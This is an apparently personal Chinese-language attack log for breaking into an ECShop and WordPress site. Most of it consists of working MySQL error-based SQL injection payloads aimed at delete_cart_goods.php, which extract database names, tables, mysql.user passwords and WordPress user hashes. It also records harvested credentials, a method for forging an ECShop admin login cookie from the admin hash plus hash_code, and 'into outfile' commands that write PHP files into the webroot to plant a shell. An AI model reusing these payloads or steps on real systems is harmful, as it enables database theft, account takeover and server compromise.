ecshop hash登录 + wordpress mysql盲注字段

delete_cart_goods.php  post  id=a *

sq_xfkjbd

暴库
and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,0x27,schema_name,0x27,0x7e) FROM information_schema.schemata LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1

73715F78666B6A6264

爆表
and(select 1 from(select count(*),concat((select (select (select distinct concat(0x7e,0x27,hex(cast(table_name as char)),0x27,0x7e) from information_schema.tables where table_schema=0x73715F78666B6A6264 limit 1,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

ecs_ad

ecs_ad_user

and(select 1 from(select count(*),concat((select (select (select distinct concat(0x7e,0x27,column_name,0x27,0x7e) from information_schema.columns where table_schema=0x415256303332 and table_name=0x706870636D735F6D656D626572 limit 0,1)) from
information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1

and(select 1 from(select count(*),concat((select (select (select concat(0x7e,0x27,username,0x27,0x7e) from mysql limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1

root  zailai1ping'root
id=a and(select 1 from(select count(*),concat((select (select (select concat(0x7e,password,0x27,user,0x27,0x7e) from mysql.user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1

id=a and(select 1 from(select count(*),concat((select (select (select concat(0x7e,password,0x27,user,0x27,0x7e) from sq_xfkjbd.wp_admin limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1

wp_users

and(select 1 from(select count(*),concat((select (select (select concat(0x7e,user_pass,0x27,0x27,0x7e) from sq_xfkjbd.wp_users limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1

1、/wp-includes/registration-functions.php

2、/wp-includes/user.php

3、/wp-admin/admin-functions.php

4、/wp-admin/upgrade-functions.php

5、/wp-content/themes/v7v3_qiyecms7/index.php

pwordpress 爆绝对路径C:\wamp\www\cookery\wp-includes\

http://www.xxxx.com/cookery/log.php

ecs_shop_config

admin

44c2c3bb5349da02cc24d0dee40d27aa31693422540744c0a6b6da635b7a5a93

root
zailai1ping

353xxxx
$P$BxnaUT.BR/S3inHmDNZyyyJeYpNzHB0

select '' into outfile 'C://wamp//www/cookery//log.php'

ecshop 有一个表ecs_shop_config ，里面有hash_code 貌似2.7.2 和2.7.3都是 31693422540744c0a6b6da635b7a5a93

先记住 管理hash  +hash_code  =c81e629defd086d9ace797987caa76f4 （一起编码转换为32位）

最后得到

ECSCP[admin_id]=1; ECSCP[admin_pass]=c81e629defd086d9ace797987caa76f4;ECS[visit_times]=2; ECS_ID=e4ad4c650ef82ef53ff93cd5149098c531ce8dc8; bdshare_firstime=1376041144528

post 提交访问  admin/index.php 进入后台 拿shell的话！

还不懂看  ：  http://qqhack8.blog.163.com/blog/static/11414798520137112258776/

select '' into outfile 'C://wamp//www/cookery//loginn.php'